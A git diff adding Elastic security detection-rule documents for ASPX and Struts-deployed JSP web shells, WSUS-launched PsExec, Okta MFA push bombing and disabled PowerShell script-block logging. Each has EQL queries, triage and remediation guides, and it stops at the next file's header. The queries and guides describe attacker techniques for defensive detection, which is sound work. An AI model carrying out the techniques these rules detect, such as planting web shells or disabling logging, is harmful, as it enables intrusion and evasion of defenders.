a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-web-shell-aspx-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-web-shell-aspx-file-creation.asciidoc new file mode 100644 index 0000000000..e19ff93c9d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-web-shell-aspx-file-creation.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-potential-web-shell-aspx-file-creation]] +=== Potential Web Shell ASPX File Creation + +Identifies the creation of ASPX files in specific directories that are commonly targeted by attackers to deploy web shells. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.viettelcybersecurity.com/toolshell-a-critical-sharepoint-vulnerability-chain-under-active-exploitation/ +* https://www.sentinelone.com/blog/sharepoint-toolshell-zero-day-exploited-in-the-wild-targets-enterprise-servers/ +* https://www.rapid7.com/blog/post/2024/10/30/investigating-a-sharepoint-compromise-ir-tales-from-the-field/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Web Shell ASPX File Creation* + + +Web shells are malicious scripts uploaded to web servers, often exploiting vulnerabilities in web applications. ASPX files, used in Windows environments, can be manipulated by attackers to maintain persistence and execute arbitrary commands. Adversaries target specific directories for deploying these files. The detection rule identifies suspicious ASPX file creation in these directories, excluding legitimate processes, to flag potential web shell activity. + + +*Possible investigation steps* + + +- Review the file path where the ASPX file was created to confirm it matches the targeted directory pattern: "?:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\*". This can help determine if the file is in a location commonly exploited for web shells. +- Examine the process that created the ASPX file, ensuring it is not the legitimate "?:\Windows\System32\msiexec.exe". Investigate the actual process responsible for the file creation to assess its legitimacy and potential malicious intent. +- Check the timestamp of the file creation event to correlate it with other suspicious activities or alerts on the host, which might provide additional context or evidence of compromise. +- Investigate the contents of the ASPX file to identify any malicious code or scripts that could indicate a web shell. Look for patterns or code snippets commonly associated with web shell functionality. +- Analyze network activity from the host around the time of the ASPX file creation to identify any unusual outbound connections or data transfers that might suggest communication with a command and control server. +- Review historical alerts and logs for the host to identify any previous suspicious activities or patterns that could indicate ongoing compromise or persistence mechanisms. + + +*False positive analysis* + + +- Routine updates or installations of legitimate web server components may trigger alerts. Users can create exceptions for known update processes or installation paths to reduce false positives. +- Development or testing environments often generate ASPX files as part of normal operations. Exclude directories or processes associated with these environments to prevent unnecessary alerts. +- Automated scripts or tools used for web server maintenance might create ASPX files. Identify and whitelist these scripts to avoid false detections. +- Legitimate third-party applications that integrate with web server extensions may create ASPX files. Monitor and whitelist these applications to ensure they do not trigger false positives. +- Scheduled tasks or system processes that interact with web server directories can be mistaken for malicious activity. Review and exclude these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Isolate the affected server from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with the creation of the ASPX file, especially those not originating from legitimate executables like msiexec.exe. +- Remove the identified ASPX file from the targeted directory to eliminate the potential web shell. +- Conduct a thorough scan of the server using updated antivirus and endpoint detection tools to identify and remove any additional malicious files or processes. +- Review server logs and network traffic for signs of unauthorized access or data exfiltration, and document any findings for further analysis. +- Restore the server from a known good backup if necessary, ensuring that the backup is free from any malicious artifacts. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures, such as patching vulnerabilities or enhancing monitoring capabilities. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : "aspx" and + file.path : "?:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*" and + not process.executable: ( + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\psconfigui.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc new file mode 100644 index 0000000000..ceebbea667 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation]] +=== Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation + +Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2023-50164 +* https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html +* https://github.com/snyk-labs/CVE-2023-50164-POC + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* Domain: Network +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Network Traffic +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation* + + +CVE-2023-50164 is a critical path traversal vulnerability in Apache Struts 2 that allows attackers to manipulate file upload parameters and write malicious files to arbitrary locations on the web server. This vulnerability affects the file upload feature and enables attackers to bypass security controls, upload JSP-based web shells, and achieve remote code execution. This detection rule identifies the complete attack chain by correlating suspicious file upload requests to Struts endpoints with the subsequent creation of JSP files in web-accessible directories, indicating successful exploitation. + + +*Possible investigation steps* + + +- Review the source IP address of the HTTP POST request to determine if it originates from a known malicious source, VPN/proxy service, or unexpected geographic location that does not align with legitimate application usage patterns. +- Examine the complete HTTP request details including headers, user agent string, and the full request body content to identify indicators of exploit code, path traversal attempts, or malicious payloads embedded in the multipart form data. +- Investigate the created JSP file by examining its contents, file name, creation timestamp, and file permissions to determine if it contains web shell code, command execution capabilities, or other malicious functionality. +- Check for any subsequent process execution, network connections, or file system activities originating from the Java process after the JSP file creation, which may indicate that the web shell has been accessed and used by the attacker. +- Review web server access logs for requests to the newly created JSP file path to identify if the attacker has attempted to access or execute the web shell, and capture any command execution or data exfiltration attempts. +- Examine the affected Struts application logs and Tomcat catalina logs for additional context about the file upload request, error messages, or anomalous behavior that occurred during the exploitation attempt. +- Identify the version of Apache Struts 2 running on the affected server to confirm if it is vulnerable to CVE-2023-50164 (versions prior to 2.5.33 or 6.3.0.2 are affected). +- Search for additional suspicious file creations, modifications, or deletions in the webapps directories that may indicate the attacker attempted multiple exploitation attempts or deployed additional persistence mechanisms. + + +*False positive analysis* + + +- Legitimate application deployments using multipart form uploads to Struts endpoints followed by JSP file creation are uncommon but possible in custom deployment workflows. Review the source IP, user identity, and timing against known deployment schedules and authorized deployment systems. +- Automated testing frameworks or security scanning tools that test file upload functionality may trigger this rule if they upload files to Struts endpoints. Identify and exclude known security testing tools or authorized penetration testing activities based on source IP or user agent patterns. +- Development or staging environments where developers frequently test file upload features may generate alerts. Consider creating exceptions for non-production environments or restricting the rule to production systems only. +- CI/CD pipelines that deploy applications via multipart form uploads could potentially match this pattern, though this is rare. Review the deployment process and create exceptions for known automated deployment systems if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected web server from the network to prevent further exploitation, lateral movement, or data exfiltration by the attacker. +- Identify and delete the malicious JSP web shell file from the web server, ensuring you preserve a copy for forensic analysis and evidence collection. +- Terminate any active web shell sessions by restarting the Java application server process and reviewing all active network connections for suspicious activity. +- Review web server access logs to identify all IP addresses that accessed the web shell and block those IP addresses at the network perimeter to prevent re-exploitation. +- Conduct a comprehensive scan of the affected server for additional web shells, backdoors, persistence mechanisms, or signs of lateral movement to other systems in the environment. +- Patch the Apache Struts 2 installation to version 2.5.33, 6.3.0.2, or higher to remediate the CVE-2023-50164 vulnerability and prevent future exploitation attempts. +- Review and harden file upload configurations in Struts applications, implement strict input validation, restrict file upload locations, and consider implementing web application firewall (WAF) rules to detect and block path traversal attempts. +- Reset credentials for any accounts or services running on the compromised server, as the attacker may have captured sensitive information or credentials through the web shell. +- Escalate the incident to the security operations center (SOC) and incident response team for comprehensive investigation, threat hunting, and to determine if additional systems were compromised. +- Conduct a post-incident review to identify gaps in detection, response, and vulnerability management processes, and implement improvements to prevent similar incidents in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis). + + +*Network Packet Capture Integration Setup* + + +**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by agent.id with maxspan=10s + [network where data_stream.dataset == "network_traffic.http" and + http.request.method == "POST" and + http.request.body.content like "*WebKitFormBoundary*" and + url.path like~ "*upload*.action"] + [file where data_stream.dataset == "endpoint.events.file" and + host.os.type == "linux" and + event.action == "creation" and + process.name == "java" and + file.extension == "jsp" and + file.path like "*/webapps/*" and + not file.path like "*/WEB-INF/*" and + not file.path like "*/META-INF/*" and + not process.parent.name in ("apk", "apt", "apt-get", "dpkg", "yum", "rpm", "dnf", "systemd", "init")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-wsus-abuse-for-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-wsus-abuse-for-lateral-movement.asciidoc new file mode 100644 index 0000000000..7b7f8607e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-wsus-abuse-for-lateral-movement.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-potential-wsus-abuse-for-lateral-movement]] +=== Potential WSUS Abuse for Lateral Movement + +Identifies a potential Windows Server Update Services (WSUS) abuse to execute psexec to enable for lateral movement. WSUS is limited to executing Microsoft signed binaries, which limits the executables that can be used to tools published by Microsoft. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/wsus-spoofing + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential WSUS Abuse for Lateral Movement* + + +Windows Server Update Services (WSUS) is a system that manages updates for Microsoft products, ensuring that only signed binaries are executed. Adversaries may exploit WSUS to run Microsoft-signed tools like PsExec for lateral movement within a network. The detection rule identifies suspicious processes initiated by WSUS, specifically targeting PsExec executions, to flag potential abuse attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the suspicious process execution, specifically checking for the parent process name "wuauclt.exe" and the child process name "psexec64.exe" or original file name "psexec.c". +- Examine the process execution path to verify if it matches the specified directories: "?:\Windows\SoftwareDistribution\Download\Install\*" or "\Device\HarddiskVolume?\Windows\SoftwareDistribution\Download\Install\*". +- Investigate the source and destination hosts involved in the alert to determine if there are any unauthorized or unexpected connections, focusing on potential lateral movement activities. +- Check the timeline of events leading up to and following the alert to identify any other suspicious activities or patterns that may indicate a broader attack. +- Correlate the alert with other security logs and alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context and confirm the legitimacy of the activity. +- Assess the user accounts involved in the process execution to ensure they are legitimate and have not been compromised, paying attention to any anomalies in user behavior or access patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks using PsExec may trigger the rule. To manage this, create exceptions for known administrative accounts or specific times when these tasks are scheduled. +- Automated scripts or software deployment tools that use PsExec for legitimate purposes can cause false positives. Identify these tools and exclude their process hashes or specific execution paths from the rule. +- Security software or monitoring tools that utilize PsExec for scanning or remediation might be flagged. Verify these tools and whitelist their activities by excluding their specific process names or parent processes. +- Test environments where PsExec is used for development or testing purposes can generate alerts. Exclude these environments by specifying their IP ranges or hostnames in the rule exceptions. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further lateral movement within the network. Disconnect it from the network or use network segmentation to contain the threat. +- Terminate any suspicious processes identified as PsExec executions initiated by WSUS, specifically those matching the query criteria, to stop any ongoing malicious activity. +- Conduct a thorough review of the affected system's update logs and WSUS configuration to identify any unauthorized changes or updates that may have been exploited. +- Remove any unauthorized or malicious binaries found in the specified directories (e.g., Windows\SoftwareDistribution\Download\Install) to prevent further execution. +- Reset credentials for any accounts that may have been compromised or used in the lateral movement attempt, especially those with administrative privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been affected. +- Implement enhanced monitoring and logging for WSUS activities and PsExec executions to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.parent.name : "wuauclt.exe" and +process.executable : ( + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\*", + "\\Device\\HarddiskVolume?\\Windows\\SoftwareDistribution\\Download\\Install\\*" +) and +(process.name : "psexec64.exe" or ?process.pe.original_file_name : "psexec.c") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..c1102d880c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-potentially-successful-okta-mfa-bombing-via-push-notifications]] +=== Potentially Successful Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potentially Successful Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where data_stream.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + [ any + where data_stream.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-powershell-script-block-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-powershell-script-block-logging-disabled.asciidoc new file mode 100644 index 0000000000..c287564315 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-powershell-script-block-logging-disabled.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-21-powershell-script-block-logging-disabled]] +=== PowerShell Script Block Logging Disabled + +Detects registry changes that disable PowerShell Script Block Logging. Attackers may disable this logging to conceal their activities in the host and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableScriptBlockLogging + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Script Block Logging Disabled* + + +This alert indicates a registry modification that set `EnableScriptBlockLogging` to a disabled value (`registry.data.strings` of `0` or `0x00000000`). Disabling Script Block Logging reduces visibility into PowerShell execution and is commonly used to evade detection, especially when followed by script-driven activity. + + +*Key alert fields to review* + + +- `process.executable`: The process responsible for modifying the registry value. +- `registry.value`: The registry value name that was changed (`EnableScriptBlockLogging`). +- `registry.data.strings`: The new data indicating the setting was disabled. +- `registry.path`: The full registry path of the modified value. +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. + + +*Possible investigation steps* + + +- Establish the affected endpoint and time window: + - Use `host.name`, `host.id`, and `@timestamp` to identify the impacted endpoint and define a review window (include activity immediately before and after the change). + - Prioritize based on endpoint role and criticality (for example, servers and admin workstations). + +- Validate the registry change and its scope: + - Review `registry.path`, `registry.value`, and `registry.data.strings` to confirm the setting was disabled and to understand where it was applied. + - Compare `registry.path` to common policy locations for Script Block Logging (for example, `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging`). + - Determine whether the change is likely machine-wide or user-scoped based on the hive reflected in `registry.path`, and assess the blast radius accordingly. + - Check for repeated changes (toggling) to the same `registry.path` and `registry.value` around the alert time, which can indicate attempted evasion or policy enforcement conflicts. + +- Identify the modifying process and execution context: + - Review `process.executable` for legitimacy (expected binary name, expected install path) and whether it typically performs configuration changes. + - Pivoting using `process.entity_id`, review `process.command_line` to understand how the value was set and whether the command line suggests interactive administration, scripts, or automation. + - Using nearby endpoint process telemetry on the same host, reconstruct the process tree to identify the initiating process (parent) and any immediate follow-on execution that may have benefited from reduced PowerShell logging. + +- Assess the user context and authorization: + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to manage logging or policy settings on this endpoint. + - If the change is attributed to a service or system context, identify the associated service, scheduled activity, or management workflow that could have performed the modification. + - Scope the user across other hosts for similar activity during the same window to identify potential credential misuse. + +- Hunt for related activity that may be masked by reduced logging: + - Review host activity immediately before the change for suspicious behavior that could explain the need to disable Script Block Logging (initial access, privilege escalation, or tool staging). + - Review host activity after the change for suspicious process launches, script interpreter activity, persistence attempts, credential access behavior, or lateral movement indicators. + - Review network activity from the host around the change for connections consistent with payload retrieval, remote access, or command and control. + - Review other registry changes around the same time that may further impair visibility or weaken defenses. + +- Scope and impact assessment across the environment: + - Search for other instances where `registry.value` is `EnableScriptBlockLogging` and `registry.data.strings` indicates a disabled state to determine whether this is isolated or widespread. + - Pivot on `process.executable` and `user.id` to identify other endpoints where the same process or account modified this setting. + - Identify whether the setting was later restored on the same host by looking for subsequent changes to the same `registry.path` and `registry.value`. + + +*False positive analysis* + + +- Authorized policy, baseline, or hardening changes that intentionally modify PowerShell logging settings, supported by change records and consistent execution by expected accounts and tooling. +- Provisioning or imaging workflows where configuration changes occur during early host lifecycle stages and are consistent across a known deployment batch. +- Short-lived administrative troubleshooting where the setting is temporarily changed and promptly restored, with supporting documentation. + + +*Response and remediation* + + +- If the change is unexpected or suspicious: + - Treat as potential defense evasion and escalate according to incident response procedures. + - Contain the endpoint if there are indicators of follow-on malicious activity in the surrounding timeframe. + - Preserve evidence related to the change, including `process.executable`, `process.command_line`, user context, and any correlated endpoint telemetry. + +- Restore and enforce PowerShell visibility: + - Re-enable Script Block Logging using approved administrative processes and verify the setting persists through policy enforcement. + - Monitor for repeated attempts to disable Script Block Logging, especially from the same user or originating process. + +- Remediate root cause and reduce recurrence: + - Identify and remove unauthorized tooling or persistence associated with the modifying process. + - Investigate potential account compromise for the associated user and take appropriate actions (credential reset and access review), prioritizing privileged accounts. + - Hunt for additional endpoints impacted by the same user or process and remediate as needed. + - Apply least-privilege controls to limit who can modify logging-related registry settings and improve alerting for additional defense impairment behaviors observed during the investigation window. + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "EnableScriptBlockLogging" and + registry.data.strings : ("0", "0x00000000") and + not process.executable : ( + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\DeviceEnroller.exe", + "?:\\Windows\\system32\\omadmclient.exe", + "?:\\Program Files\\Trend Micro\\Cloud Endpoint\\CloudEndpointService.exe", + "?:\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\DeviceEnroller.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\omadmclient.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Trend Micro\\Cloud Endpoint\\CloudEndpointService.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-privilege-escalation-via-named-pipe-impersonation.asciidoc 